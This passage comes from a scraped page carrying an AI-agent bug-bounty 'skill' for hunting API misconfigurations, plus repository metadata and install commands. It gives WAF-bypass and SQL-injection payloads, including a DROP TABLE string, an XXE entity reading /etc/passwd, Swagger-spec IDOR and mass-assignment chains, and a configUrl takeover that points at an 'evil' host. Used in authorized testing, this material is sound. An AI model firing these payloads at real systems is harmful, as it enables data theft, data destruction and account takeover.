\u002Fodata\u002F$batch  Content-Type: multipart\u002Fmixed; boundary=batch_1\n--batch_1\nContent-Type: application\u002Fhttp\nGET Users?$filter=1 eq 1 HTTP\u002F1.1\n--batch_1--\n```\n\nWAFs that scan only the outer request body (or that don't natively parse `multipart\u002Fmixed`) skip every inner operation. ModSecurity refused `multipart\u002Fmixed` historically ([Issue #3296](https:\u002F\u002Fgithub.com\u002Fowasp-modsecurity\u002FModSecurity\u002Fissues\u002F3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https:\u002F\u002Fwww.f5.com\u002Fcompany\u002Fblog\u002Fsecuring-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https:\u002F\u002Farxiv.org\u002Fhtml\u002F2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.\n\n### Attack class 4 — Encoded \u002F non-canonical operator → keyword-blacklist bypass\n\n```\nGET \u002Fapi?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $\nGET \u002Fapi?%2524filter=...                                # double-encoded\nGET \u002FUsers(1)\u002F$value                                    # path-segment style\n```\n\nMixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`\u002F`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https:\u002F\u002Fowasp.org\u002Fwww-community\u002FDouble_Encoding))\n\n### Attack class 5 — OData → real SQLi when library passes filter raw\n\n```\n$filter=Name eq 'x'); DROP TABLE Users--'\n```\n\nOnly triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData\u002FWebApi Issue #2352](https:\u002F\u002Fgithub.com\u002FOData\u002FWebApi\u002Fissues\u002F2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `\u003C!DOCTYPE foo [\u003C!ENTITY x SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in `application\u002Fxml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).\n\n### Bonus — `$expand` navigation-property IDOR\n\n```\nGET \u002FOrders?$expand=Customer($expand=PaymentMethods($expand=Card))\n```\n\nAuthorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https:\u002F\u002Fwww.upguard.com\u002Fbreaches\u002Fpower-apps)).\n\n### Detection heuristics\n\n- Response headers: `OData-Version: 4.0` \u002F `DataServiceVersion: 3.0`; URL paths `\u002F_api\u002F`, `\u002Fodata\u002F`, `\u002F_vti_bin\u002F`, `\u002Fapi\u002Fdata\u002Fv9.x\u002F`, `\u002Fsap\u002Fopu\u002Fodata\u002F`.\n- Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.\n- Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=\u003Ccolumn-you-shouldnt-see>` for column-level ACL.\n- Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.\n\n---\n\n## NSwag \u002F Swagger \u002F OpenAPI Spec Exposure (2024-2026 surface)\n\nNSwag is the Swagger\u002FOpenAPI toolchain for ASP.NET Core. Default routes (`\u002Fswagger`, `\u002Fswagger\u002Fv1\u002Fswagger.json`, `\u002Fswagger\u002Findex.html`) ship enabled in many .NET 6\u002F7\u002F8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.\n\n### Default discovery paths (cross-references `web2-recon`)\n\n```\n# NSwag \u002F Swashbuckle (ASP.NET Core)\n\u002Fswagger, \u002Fswagger\u002Findex.html, \u002Fswagger\u002Fv1\u002Fswagger.json, \u002Fswagger\u002Fv2\u002Fswagger.json, \u002Fswagger\u002Fv3\u002Fswagger.json\n\u002Fswagger-ui, \u002Fswagger-ui\u002F, \u002Fswagger-ui.html, \u002Fapi-docs\n\u002Fnswag, \u002Fnswag\u002Findex.html, \u002Fapi\u002Fswagger, \u002Fapi\u002Fswagger.json, \u002Fapi\u002Fopenapi.json\n\n# Generic OpenAPI\n\u002Fopenapi, \u002Fopenapi.json, \u002Fopenapi.yaml, \u002F.well-known\u002Fopenapi.json\n\n# Java \u002F Spring (Springfox \u002F springdoc)\n\u002Fv2\u002Fapi-docs, \u002Fv3\u002Fapi-docs, \u002Fv3\u002Fapi-docs.yaml, \u002Fswagger-resources\n\n# Python (FastAPI \u002F Connexion)\n\u002Fdocs, \u002Fredoc, \u002Fopenapi.json\n\n# Quarkus\n\u002Fq\u002Fopenapi, \u002Fq\u002Fswagger-ui\n\n# GraphQL adjacent\n\u002Fgraphql, \u002Fgraphiql, \u002Fplayground, \u002Faltair, \u002Fvoyager\n```\n\nTools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.\n\n### Attack chains\n\n**A. Spec disclosure → mass IDOR \u002F BOLA.** Spec lists every `GET \u002Fapi\u002Fv1\u002Fusers\u002F{userId}\u002F...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize\u002F`ffuf -mc 200`. Common case: spec leaks `\u002Fapi\u002Fadmin\u002Fusers\u002F{id}\u002Freset-password` documented but missing `[Authorize(Roles=\"Admin\")]` on the controller — low-priv ATO.\n\n**B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH \u002Fusers\u002Fme` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.\n\n**C. Hidden endpoints.** Specs document `\u002Finternal\u002F*`, `\u002Fdebug\u002F*`, `\u002Fv0\u002F*`, `\u002Flegacy\u002F*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.\n\n**D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https:\u002F\u002Fevil\u002Fspec.json`. Spec routes point back at the legitimate origin so the victim's \"Try It Out\" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https:\u002F\u002Fhackerone.com\u002Freports\u002F3124103))\n\n### Disclosed cases\n\n- **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).\n- **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https:\u002F\u002Fblog.vidocsecurity.com\u002Fblog\u002Fhacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https:\u002F\u002Fportswigger.net\u002Fdaily-swig\u002Fwidespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.\n- **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).\n- **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.\n- **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.\n- **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https:\u002F\u002Fwww.cloudsek.com\u002Fthreatintelligence\u002Fthreat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))\n- **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.\n\n### Detection checklist\n\n1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application\u002Fjson` AND body matching `\"swagger\"` or `\"openapi\"`.\n2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner \u002F Autorize.\n3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.\n4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 \u002F DOM-XSS table.\n5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — Mass assignment on signup\u002Fprofile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.\n- **`hunt-auth-bypass`** — JWT flaws collapse the entire auth layer. Chain primitive: JWT `alg=none` + `hunt-auth-bypass` → impersonate any user by setting `sub` to victim ID, no signature required.\n- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget chain) → RCE on the API node.\n- **`hunt-subdomain`** — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist `*.target.com` + subdomain takeover → attacker-controlled origin reads credentialed API responses.\n- **`security-arsenal`** — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (`is_admin`, `role`, `verified`, `permissions`, `org_id`, `tenant_id`).\n- **`triage-validation`** — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":35,"source":53,"license":14,"sources":54,"category":47,"date_added":55,"description":7,"source_repo":56,"source_type":41,"report_count":13,"compatibility":57,"license_source":58},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, owasp_api_top10_2023, public_research","2026-09-20","elementalsouls\u002FClaude-BugHunter","Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-api-misconfig","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-api-misconfig",{"tool":70,"command":71},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-api-misconfig",{"tool":73,"command":74},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-api-misconfig","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-api-misconfig\u002FSKILL.md",true,[],[79,102,126,150,171,195],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":88,"publishedAt":48},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. 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